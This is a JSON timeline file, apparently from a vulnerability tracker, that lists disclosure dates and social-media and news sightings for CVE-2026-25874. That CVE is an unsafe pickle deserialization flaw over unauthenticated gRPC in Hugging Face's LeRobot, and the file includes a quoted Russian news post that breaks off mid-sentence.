{"metadata": {"vulnerability": "CVE-2026-25874", "count": 36, "kinds": {"milestone": 4, "sighting": 23, "kev": 0, "other": 9}, "linked_omitted": 0}, "data": [{"timestamp": "2026-02-06T19:12:03.464Z", "date_only": false, "value": "2026-02-06T19:12:03.464Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2026-25874", "field": "cveMetadata.dateReserved"}, {"timestamp": "2026-02-27T00:00:00Z", "date_only": false, "value": "2026-02-27T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / VulnCheck", "record": "CVE-2026-25874", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-04-23T19:45:01.090Z", "date_only": false, "value": "2026-04-23T19:45:01.090Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-25874", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-04-23T20:16:13Z", "date_only": false, "value": "2026-04-23T20:16:13Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-F7VJ-73PM-M822", "record": "GHSA-F7VJ-73PM-M822", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2026-04-23T20:16:13.903Z", "date_only": false, "value": "2026-04-23T20:16:13.903", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-25874", "record": "FKIE_CVE-2026-25874", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-04-23T21:26:14Z", "date_only": false, "value": "2026-04-23T21:26:14.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/LhBAsLXZuywUMfmIXbSwPnWzjb6RJaoGfmWe6gs8QchtB8o", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "d77ea3b7-4ff1-471d-b4ba-548dcb0ed693", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-04-23T21:31:23Z", "date_only": false, "value": "2026-04-23T21:31:23Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-F7VJ-73PM-M822", "record": "GHSA-F7VJ-73PM-M822", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-04-24T14:34:03.307Z", "date_only": false, "value": "2026-04-24T14:34:03.307494Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-25874", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2026-04-24T14:34:03.307Z", "date_only": false, "value": "2026-04-24T14:34:03.307494Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-25874", "record": "FKIE_CVE-2026-25874", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2026-04-24T18:20:13.815Z", "date_only": false, "value": "2026-04-24T18:20:13.815Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-25874", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-04-28T06:33:02.140Z", "date_only": false, "value": "2026-04-28T06:33:02.140211Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mkjxni7pjj2w", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "36b1b0c9-ddcd-410b-92c1-4349a7d3fe52", "url": "https://bsky.app/profile/blackhatnews.tokyo/post/3mkjxni7pjj2w"}, {"timestamp": "2026-04-28T09:18:00Z", "date_only": false, "value": "2026-04-28T09:18:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://thehackernews.com/2026/04/critical-cve-2026-25874-leaves-hugging.html", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "3ab48f72-d83d-400f-9dc8-8266138c34f9", "url": "https://thehackernews.com/2026/04/critical-cve-2026-25874-leaves-hugging.html"}, {"timestamp": "2026-04-28T11:41:32.415Z", "date_only": false, "value": "2026-04-28T11:41:32.415454Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/awesomeagents.bsky.social/post/3mkkivadtyc27", "record": "cve-2026-25874", "field": "creation_timestamp", "uuid": "8635f2f1-d6c4-428c-b424-2d3959a60475", "url": "https://bsky.app/profile/awesomeagents.bsky.social/post/3mkkivadtyc27"}, {"timestamp": "2026-04-28T11:42:27Z", "date_only": false, "value": "2026-04-28T11:42:27.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thehackernews/8888", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "4b7e23b9-c637-4190-aa62-0e5f12b323a9", "content": "\u26a0\ufe0f An unpatched critical flaw in Hugging Face\u2019s LeRobot enables remote code execution (CVSS 9.3).\n\nUntrusted pickle over unauthenticated gRPC (no TLS) lets attackers take over servers, steal keys and models, and impact connected robots.\n\n\ud83d\udd17 Details \u2192 https://thehackernews.com/2026/04/critical-cve-2026-25874-leaves-hugging.html", "url": "https://t.me/thehackernews/8888", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-04-28T12:29:30.240Z", "date_only": false, "value": "2026-04-28T12:29:30.240273Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/jbhall56/statuses/116482334260618755", "record": "cve-2026-25874", "field": "creation_timestamp", "uuid": "6814ee99-9547-4c0a-90a0-d5b8db390104", "url": "https://infosec.exchange/users/jbhall56/statuses/116482334260618755"}, {"timestamp": "2026-04-28T12:29:41.466Z", "date_only": false, "value": "2026-04-28T12:29:41.466881Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3mkkllchqnk2s", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "aeffd791-654a-42bd-a5aa-a184e1b3f4b3", "url": "https://bsky.app/profile/jbhall56.bsky.social/post/3mkkllchqnk2s"}, {"timestamp": "2026-04-28T13:05:16.836Z", "date_only": false, "value": "2026-04-28T13:05:16.836974Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/mttaggart/statuses/116482475028348366", "record": "cve-2026-25874", "field": "creation_timestamp", "uuid": "f7f71881-ab7c-4fc7-b220-159858159e50", "url": "https://infosec.exchange/users/mttaggart/statuses/116482475028348366"}, {"timestamp": "2026-04-28T13:24:37.156Z", "date_only": false, "value": "2026-04-28T13:24:37.156184Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/bitnewsbot.bsky.social/post/3mkkonkijb22y", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "03938d79-f579-4a3b-919a-8599539b234a", "url": "https://bsky.app/profile/bitnewsbot.bsky.social/post/3mkkonkijb22y"}, {"timestamp": "2026-04-28T13:47:20.307Z", "date_only": false, "value": "2026-04-28T13:47:20.307817Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mkkpw6rq6o2m", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "7ede5e64-4d2c-4820-91ff-644d431340eb", "url": "https://bsky.app/profile/blackhatnews.tokyo/post/3mkkpw6rq6o2m"}, {"timestamp": "2026-04-28T14:02:03.009Z", "date_only": false, "value": "2026-04-28T14:02:03.009091Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/tomcat/statuses/116482698266757744", "record": "cve-2026-25874", "field": "creation_timestamp", "uuid": "4bbef867-5726-4d7d-8ff7-2edd0cb96352", "url": "https://infosec.exchange/users/tomcat/statuses/116482698266757744"}, {"timestamp": "2026-04-28T16:41:19.010Z", "date_only": false, "value": "2026-04-28T16:41:19.010950Z", "kind": "sighting", "label": "Seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116483324482055052", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "70b5105e-825a-4a4f-98db-5814e614bdd8", "url": "https://mastodon.social/ap/users/115426718704364579/statuses/116483324482055052"}, {"timestamp": "2026-04-28T16:41:38.983Z", "date_only": false, "value": "2026-04-28T16:41:38.983380Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mkkzntq5jp2c", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "6d2ac45c-1888-4eba-819b-d54d3b0fb181", "url": "https://bsky.app/profile/netsecio.bsky.social/post/3mkkzntq5jp2c"}, {"timestamp": "2026-04-28T16:50:50.778Z", "date_only": false, "value": "2026-04-28T16:50:50.778610Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mkl26cz3hx2o", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "0b7c405f-d929-4d91-9e5c-afdbbd287de5", "url": "https://bsky.app/profile/postac001.bsky.social/post/3mkl26cz3hx2o"}, {"timestamp": "2026-04-28T17:07:36Z", "date_only": false, "value": "2026-04-28T17:07:36.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/true_secator/8154", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "3832fbf3-c5a9-42ed-aa9b-30f4646d7875", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439\u00a0LeRobot, \u043e\u0442\u043a\u0440\u044b\u0442\u0443\u044e \u0440\u043e\u0431\u043e\u0442\u043e\u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 \u043e\u0442 Hugging Face, \n\u0438\u043c\u0435\u044e\u0449\u0443\u044e \u043f\u043e\u0447\u0442\u0438 24 000 \u0437\u0432\u0435\u0437\u0434 \u043d\u0430 GitHub, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f RCE.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0451\u0442 \u043e\u00a0CVE-2026-25874\u00a0(CVSS: 9,3), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043d\u0430\u0434\u0451\u0436\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0430 pickle.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, LeRobot \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0430\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0432\u044b\u0432\u043e\u0434\u0430, \u0433\u0434\u0435 pickle.loads() \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u043f\u043e \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043a\u0430\u043d\u0430\u043b\u0430\u043c gRPC \u0431\u0435\u0437 TLS \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u043e\u043b\u0438\u0442\u0438\u043a \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0440\u043e\u0431\u043e\u0442\u0430.\n\n\u041d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438, \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438\u043b\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 pickle \u0447\u0435\u0440\u0435\u0437 \u0432\u044b\u0437\u043e\u0432\u044b gRPC SendPolicyInstructions, SendObservations \u0438\u043b\u0438 GetActions.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Resecurity, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 PolicyServer, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 \u0430\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u043a\u043e\u043c\u0430\u043d\u0434, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u0438\u043c\u0435\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0435\u0432\u043e\u043c\u0443 \u043f\u043e\u0440\u0442\u0443 PolicyServer, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0430 \u0445\u043e\u0441\u0442-\u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u0430 \u044d\u0442\u0430 \u0441\u043b\u0443\u0436\u0431\u0430.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u0430\u043a \u00ab\u043e\u043f\u0430\u0441\u043d\u0443\u044e\u00bb, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c \u0432\u044b\u0432\u043e\u0434\u0430 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0441\u0435\u0442\u044f\u043c, \u043d\u0430\u0431\u043e\u0440\u0430\u043c \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0434\u043e\u0440\u043e\u0433\u043e\u0441\u0442\u043e\u044f\u0449\u0438\u043c \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f: RCE, \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e \u0445\u043e\u0441\u0442\u0430 PolicyServer, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0445 \u0440\u043e\u0431\u043e\u0442\u043e\u0432, \u043a\u0440\u0430\u0436\u0443 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 API, \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 SSH \u0438 \u0444\u0430\u0439\u043b\u044b \u043c\u043e\u0434\u0435\u043b\u0435\u0439), \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435, DoS \u0432 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u0438\u0441\u043a\u0430\u0436\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0438\u043b\u0438 \u0443\u0433\u0440\u043e\u0437\u044b \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c VulnCheck \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\u00a0\u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435, \u0437\u0430\u044f\u0432\u043b\u044f\u044f, \u0447\u0442\u043e \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0430\u043f\u0440\u043e\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 LeRobot 0.4.3.\n\n\u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0439, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0432\u0435\u0440\u0441\u0438\u0438 0.6.0.\n\n\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0447\u0442\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0431\u044b\u043b \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0442\u0430\u043a\u0436\u0435 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c chenpinji, \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2025 \u0433\u043e\u0434\u0430. \n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 LeRobot \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044f\u043d\u0432\u0430\u0440\u044f, \u043f\u0440\u0438\u0437\u043d\u0430\u0432 \u0440\u0438\u0441\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043e\u0442\u043c\u0435\u0442\u0438\u0432, \u0447\u0442\u043e \u00ab\u044d\u0442\u0430 \u0447\u0430\u0441\u0442\u044c \u043a\u043e\u0434\u0430 \u043d\u0443\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u0447\u0442\u0438 \u043f\u043e\u043b\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0435, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0435\u0435 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0431\u044b\u043b\u0430 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0439\u00bb.\n\n\u041a\u0430\u043a \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f, LeRobot \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0431\u044b\u043b \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0438 \u0434\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0435 \u0443\u0434\u0435\u043b\u044f\u043b\u043e\u0441\u044c \u043e\u0441\u043e\u0431\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f.\n\n\u041f\u043e \u043c\u0435\u0440\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a LeRobot \u0431\u0443\u0434\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c\u0441\u044f \u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u044f\u044e\u0442, \u0447\u0442\u043e \u0431\u0443\u0434\u0443\u0442 \u0443\u0434\u0435\u043b\u044f\u0442\u044c \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c. \u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u0431\u0443\u0434\u0443\u0447\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u043e\u0447\u044c \u0432 \u044d\u0442\u043e\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0435.\n\n\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0435\u0449\u0435 \u0440\u0430\u0437 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u043e\u0440\u043c\u0430\u0442\u0430 pickle, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u0442\u044c \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\n\n\u0418\u0440\u043e\u043d\u0438\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e Hugging Face \u0441\u043e\u0437\u0434\u0430\u043b\u0430 Safetensors - 